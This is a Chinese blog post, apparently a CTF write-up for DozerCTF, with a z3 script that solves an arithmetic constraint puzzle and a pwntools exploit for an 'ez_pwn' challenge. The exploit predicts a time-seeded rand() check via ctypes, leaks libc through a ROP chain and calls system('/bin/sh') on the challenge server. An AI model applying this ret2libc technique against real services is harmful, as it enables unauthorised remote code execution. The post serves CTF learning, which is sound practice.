小菜鸡的Dozerctf(只出了两个简单题)

这一看,这不是 算术题目吗,z3直接梭哈了

from z3 import *
s = Solver()
nums0,nums1,nums2,nums3,nums4,nums5,nums6,nums7,nums8,nums9,nums10,nums11,nums12,nums13 = Ints('nums0 nums1 nums2 nums3 nums4 nums5 nums6 nums7 nums8 nums9 nums10 nums11 nums12 nums13')
s.add((((((nums0 * 2 + nums1 - 4 - nums2 * 3 - nums3 - 3) + nums4 * 5 + nums5 * 5 - nums6 - 3) + nums7 + 2 - nums8) + 3 + nums9 - 3 - nums10 * 4) + nums11 * 3 - nums12 - 2) + nums13 + 3 == 56)

s.add(((((nums0 + 2 - nums1 * 5) + nums2 - 3 - nums3) + 5 - nums4 * 4 - nums5) + 5 + nums6 * 4 + nums7 * 5 + nums8 * 3 + nums9 * 5 - nums10 - 5 - nums11 - 2 - nums12 - 5) + nums13 - 3 == 681)

s.add((((nums0 * 5 + nums1 * 3 - nums2 - 2) + nums3 * 4 + nums4 - 3) + nums5 * 4 + nums6 * 4 + nums7 + 3 - nums8 * 2 - nums9) + 3 + nums10 + 3 - nums11 * 2 - nums12 * 3 - nums13 * 2 == 1129)

s.add((((((nums0 * 5 - nums1 - 2) + nums2 - 2) + nums3 + 5 - nums4) + 3 + nums5 * 2 + nums6 + 2 - nums7 * 4 - nums8 - 2) + nums9 + 5 + nums10 + 4 - nums11) + 3 + nums12 + 3 - nums13 * 5 == 55 )

s.add(((((nums0 + 2 - nums1 * 4 - nums2 * 3) + nums3 + 3 + nums4 * 4 + nums5 * 3 - nums6) + 5 + nums7 - 2 - nums8) + 5 + nums9 * 4 - nums10 - 2 - nums11 - 4) + nums12 * 5 - nums13 - 4 == 673 )

s.add((((((nums0 - 5 - nums1 - 4 - nums2 - 4 - nums3) + 2 + nums4 * 4 - nums5) + 4 + nums6 + 3 + nums7 + 5 - nums8 * 5 - nums9) + 2 + nums10 + 2 + nums11 - 2) + nums12 * 3 - nums13) + 4 == 249 )

s.add(((((((nums0 * 4 + nums1 - 4) + nums2 - 5) + nums3 - 2 - nums4 * 2) + nums5 + 3 + nums6 - 3 - nums7) + 3 - nums8 * 4 - nums9 * 3) + nums10 * 2 + nums11 * 5 + nums12 - 4) + nums13 - 4 == 422 )

s.add(((((((nums0 * 3 - nums1 - 3 - nums2 - 3) + nums3 - 2 - nums4 - 5) + nums5 * 2 + nums6 - 4) + nums7 - 5) + nums8 * 5 - nums9 * 3 - nums10) + 5 - nums11 - 4 - nums12 * 5) + nums13 - 4 == 49 )

s.add((((((((nums0 - 4 - nums1) + 3 - nums2) + 4 - nums3 - 4) + nums4 + 5 - nums5 * 3) + nums6 + 2 + nums7 * 4 - nums8 - 4 - nums9) + 3 - nums10 * 5) + nums11 * 2 + nums12 * 3 - nums13) + 2 == 0 )

s.add((((((((nums0 - 5 - nums1) + 5 - nums2 - 4) + nums3 + 3 + nums4 - 2) + nums5 - 4) + nums6 * 2 - nums7 - 4 - nums8 * 4) + nums9 + 4 + nums10 * 4 - nums11) + 5 - nums12) + 4 + nums13 + 4 == 268 )

s.add(((((((nums0 - 5 - nums1) + 3 - nums2) + 2 + nums3 - 4 - nums4) + 4 + nums5 - 5 - nums6) + 2 + nums7 - 4 - nums8 - 5 - nums9 - 5 - nums10 - 2 - nums11) + 5 + nums12 - 3) + nums13 + 4 == -162 )

s.add(((((((((nums0 + 5 - nums1) + 4 + nums2 * 5 - nums3 - 3) + nums4 - 5 - nums5 - 5) + nums6 + 3 - nums7 * 5 - nums8 * 3) + nums9 - 4) + nums10 - 2) + nums11 - 3) + nums12 - 5) + nums13 + 2 == -2)

s.add(((((nums0 + 4 + nums1 - 5 - nums2) + 3 + nums3 + 3 - nums4 - 4 - nums5) + 3 + nums6 - 3 - nums7 - 5 - nums8) + 3 + nums9 - 5 - nums10 - 2) + nums11 + 5 + nums12 * 5 - nums13 - 5 == 433)

s.add((((((nums0 + 4 + nums1 + 4 + nums2 + 3 - nums3 - 2) + nums4 - 4) + nums5 + 3 - nums6 - 4 - nums7 * 2) + nums8 - 3) + nums9 + 2 + nums10 * 3 - nums11 * 4) + nums12 + 5 + nums13 * 3 == 515)



if s.check() == sat:
    print(s.model())
#B@by_5yth0n&z3
ez_pwn

沃靠学到了学到了,这pwn题目。

其实题目一进去就可以看到最下面的read有溢出了,但是前面有随机数判段,我超玩当时就懵了不会啊。后面发现可以使用ctypesCDLL绕过,因为他文件给了这个文件的libc

绕过之后就是栈溢出了,要泄露真实地址,找到基地址,然后构建payload

from pwn import *
import ctypes
context(os = 'linux', log_level = 'debug', arch = 'amd64')
elf = ELF('./vuln')
p = process('./vuln')
libc = ELF('./libc.so.6')
def bug():
    gdb.attach(p)
    pause()
io = remote('139.196.237.232',32842)

rdi = 0x00000000004014d3
read = 0x000000000404038

payload1 = b'a'*0x20 
io.recvuntil(b'account:')
io.sendline(payload1)

elf1 = ctypes.CDLL('./libc.so.6')
elf1.srand(elf1.time(0))

io.recvuntil(b'password:')
payload2 = str(elf1.rand())
io.sendline(payload2)


#io.recvuntil('Wrong!')
io.recvuntil(b'something')

payload3 = b'a' * 0x38 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
#payload3 = b'a' * 0x38 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(read) 

io.sendline(payload3)
io.recvuntil(b'bye~~')

#puts_addr = u64(io.recv(6).ljust(8,b'\x00'))

puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))

system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

io.recvuntil('account:')
io.sendline(b'a')

elf2 = ctypes.CDLL('./libc.so.6')
elf2.srand(elf2.time(0))

io.recvuntil(b'password:')

payload5 = str(elf2.rand())
io.sendline(payload5)

io.recvuntil('something')


payload4 = b'a'*0x38 + p64(rdi) + p64(binsh) + p64(rdi+1) + p64(system)
io.sendline(payload4)


io.interactive()

学到了学到了,有意思

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值